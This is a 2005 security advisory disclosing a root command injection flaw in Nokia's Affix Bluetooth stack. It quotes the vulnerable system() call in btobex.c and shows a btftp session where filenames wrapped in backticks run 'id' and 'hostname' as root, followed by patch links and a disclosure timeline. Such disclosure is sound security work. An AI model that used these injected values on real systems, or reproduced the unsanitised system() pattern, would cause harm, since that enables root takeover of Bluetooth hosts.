MA[2005-0712b] - 'Nokia Affix Bluetooth btsrv/btobex poor use of system()'

["KF (lists)" <kf_lists () digitalmunition com>]

DMA[2005-0712b] - 'Nokia Affix Bluetooth btsrv/btobex poor use of system()'
Author: Kevin Finisterre
Vendor: http://www-nrc.nokia.com/affix/, http://affix.sourceforge.net
Product: 'affix'
References: 
http://www.digitalmunition.com/DMA[2005-0712b].txt

Description: 
Affix is a Bluetooth Protocol Stack for Linux that was developed by the Nokia Research Center in 
Helsinki and released under GPL. Affix supports the core Bluetooth protocols like HCI, L2CAP 1.1, 
L2CAP 1.2, RFCOMM, SDP and various Bluetooth profiles. Affix consists of 'affix-kernel' which 
provides kernel modules and 'affix' which provides control tools, libraries, and server daemons.

Although Nokia believes that Affix is an useful piece of software, please bear in mind that it is 
not an official Nokia product, but a result of the research activity of Nokia Research Center.

The following code snippet was found in affix-3.2.0/obex/btobex.c:

char    cmd[PATH_MAX];
sprintf(cmd, "/bin/mv \"%s\" \"%s\"", file, name);
fd = system(cmd);
if (fd) {
        BTERROR("failed: system(\"%s\") = %d\n", cmd, fd);
}

Exploitation of the above bug is fairly trivial with a little help from the btftp client. 
Please note that btsrv should be run as root to allow access to Bluetooth devices.

animosity:~# btftp
Affix version: Affix 3.2.0
Welcome to btftp (OBEX) tool. Type ? for help.
Mode: Bluetooth
ftp> open 01:02:03:04:05:06
Service found on channel: 6
Connected.

ftp> put /etc/hosts `id`
Transfer started...
Transfer complete.
257 bytes sent in 0.9 secs (2855.56 B/s)
ftp> ls
-rwdx           257             uid=0(root) gid=0(root) groups=0(root)
Command complete.

ftp> put /etc/hosts `hostname`
Transfer started...
Transfer complete.
257 bytes sent in 0.7 secs (3671.43 B/s)
ftp> ls
-rwdx           257             uid=0(root) gid=0(root) groups=0(root)
-rwdx           257             frieza
Command complete.

As you can see in the ps output no input cleaning is done on the user supplied data, thus
we are able to execute commands as root. 

root       803   802  0 10:27 ttyp2    00:00:00 btsrv -C ./btsrv.conf
root       820   803  0 10:31 ttyp2    00:00:00 /usr/local/bin/btobex
root       871   820  0 10:40 ttyp2    00:00:00 sh -c mv "/tmp/obex_tmp_ymZF0T" "`id`"
root       872   871  0 10:40 ttyp2    00:00:00 sh -c mv "/tmp/obex_tmp_ymZF0T" "`id`"

No exploit is required in order to take advantage of the above mentioned issue. 

Official patches for Affix can be found at http://affix.sourceforge.net
http://affix.sourceforge.net/affix_320_sec.patch
http://affix.sourceforge.net/affix_212_sec.patch

This is basic timeline associated with this bug. 

07/12/05 Public disclosure
07/11/05 notice that Security update.Patch for affix-3.2.0 was posted 07/01/05
07/06/05 Ask Carlos for update... 
06/17/05 Carlos.Chinea stated "you are using a old version of affix...Please update"
06/14/05 Carlos.Chinea contacted

-KF